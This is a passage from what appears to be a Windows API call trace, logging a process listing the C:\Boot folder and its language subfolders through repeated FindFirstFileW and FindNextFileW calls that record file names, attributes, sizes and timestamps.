nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0133.349] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0133.349] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b148 [0133.350] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.350] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.350] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0133.350] FindClose (in: hFindFile=0x69b148 | out: hFindFile=0x69b148) returned 1 [0133.350] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0133.350] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0133.350] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0133.350] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0133.350] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0133.350] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b248 [0133.352] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.352] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.352] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0133.352] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0133.352] FindClose (in: hFindFile=0x69b248 | out: hFindFile=0x69b248) returned 1 [0133.353] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0133.353] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0133.353] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b148 [0133.353] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.353] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.353] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0133.354] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0133.354] FindClose (in: hFindFile=0x69b148 | out: hFindFile=0x69b148) returned 1 [0133.354] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0133.354] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0133.354] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ac08 [0133.354] FindNextFileW (in: hFindFile=0x69ac08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.354] FindNextFileW (in: hFindFile=0x69ac08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.354] FindNextFileW (in: hFindFile=0x69ac08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0133.354] FindNextFileW (in: hFindFile=0x69ac08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0133.354] FindClose (in: hFindFile=0x69ac08 | out: hFindFile=0x69ac08) returned 1 [0133.354] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0133.354] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0133.354] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b048 [0133.355] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.355] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.355] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0133.355] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0133.355] FindClose (in: hFindFile=0x69b048 | out: hFindFile=0x69b048) returned 1 [0133.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0133.355] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0133.355] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b0c8 [0133.356] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.356] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.356] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0133.356] FindClose (in: hFindFile=0x69b0c8 | out: hFindFile=0x69b0c8) returned 1 [0133.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0133.356] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0133.356] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69adc8 [0133.356] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.357] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.357] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0133.357] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0133.357] FindClose (in: hFindFile=0x69adc8 | out: hFindFile=0x69adc8) returned 1 [0133.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0133.357] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0133.357] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, 